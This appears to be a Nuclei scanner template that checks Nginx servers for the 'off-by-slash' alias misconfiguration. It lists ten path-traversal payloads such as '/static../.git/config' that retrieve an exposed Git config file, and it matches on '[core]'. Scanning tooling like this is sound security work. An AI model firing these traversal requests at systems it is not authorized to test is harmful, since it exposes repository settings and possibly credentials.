id: git-config-nginxoffbyslash

info:
  name: Nginx - Git Configuration Exposure
  author: organiccrap
  severity: medium
  description: Nginx is vulnerable to git configuration exposure.
  reference:
    - https://beaglesecurity.com/blog/vulnerability/nginx-off-by-slash-exposes-git-config.html
    - https://twitter.com/Random_Robbie/status/1262676628167110656
    - https://github.com/PortSwigger/nginx-alias-traversal/blob/master/off-by-slash.py
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-200
  metadata:
    max-request: 10
  tags: config,exposure,nginx

http:
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"
    payloads:
      paths:
        - '/static../.git/config'
        - '/js../.git/config'
        - '/images../.git/config'
        - '/img../.git/config'
        - '/css../.git/config'
        - '/assets../.git/config'
        - '/content../.git/config'
        - '/events../.git/config'
        - '/media../.git/config'
        - '/lib../.git/config'

    stop-at-first-match: true
    matchers:
      - type: word
        words:
          - '[core]'
# digest: 490a00463044022003576682f7148901098656cd09ac61bf064442212068631f1cad84d20c9b133202201a6cb4da7e2e892f2a6f73dd91f6db64dd81d9a503d6c5afe4c0bb5955b3d16a:922c64590222798bb761d5b6d8e72950